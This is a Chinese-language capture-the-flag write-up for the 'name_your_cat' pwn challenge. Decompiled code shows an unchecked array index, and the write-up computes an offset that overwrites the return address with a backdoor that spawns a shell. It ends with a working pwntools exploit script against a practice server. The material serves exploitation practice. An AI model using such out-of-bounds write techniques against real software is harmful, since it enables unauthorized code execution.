wustctf2020_name_your_cat
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位,开了NX和canary
int shell()
{
return system("/bin/sh");
}
有个后门函数
unsigned int vulnerable()
{
int v0; // ST20_4
signed int i; // [esp+Ch] [ebp-3Ch]
char v3[40]; // [esp+14h] [ebp-34h]
unsigned int v4; // [esp+3Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
puts("I bought you five famale cats.Name for them?");
for ( i = 1; i <= 5; ++i )
{
v0 = NameWhich((int)v3);
printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
printf("Her name is:%s\n\n", &v3[8 * v0]);
}
return __readgsdword(0x14u) ^ v4;
}
这里有个&v3[8 * v0]
,如果v0可以控制,我们就相当于任意地址写,v0是下面函数的返回值
int __cdecl NameWhich(int a1)
{
int v2; // [esp+18h] [ebp-10h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", &v2);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2 + a1);
return v2;
}
v0也就是这个函数的v2,没有边界处理,可以任意写
思路
利用两个函数,控制v3数组的返回值,改成后门函数,当我们结束函数,就可以跳转了
具体算的话
char v3[40]; // [esp+14h] [ebp-34h]
ebp是0x34,到返回值是0x38=56
&v3[8 * v0]要v3到返回值就是56/8=7
只要v0等于7,然后我们写入后门函数即可
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26539,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
sla(b'>',b'7')
sla(b'plz: ',p32(0x80485D4))
for i in range(4):
sla(b'>',b'1')
sla(b'plz: ',b'a')
ia()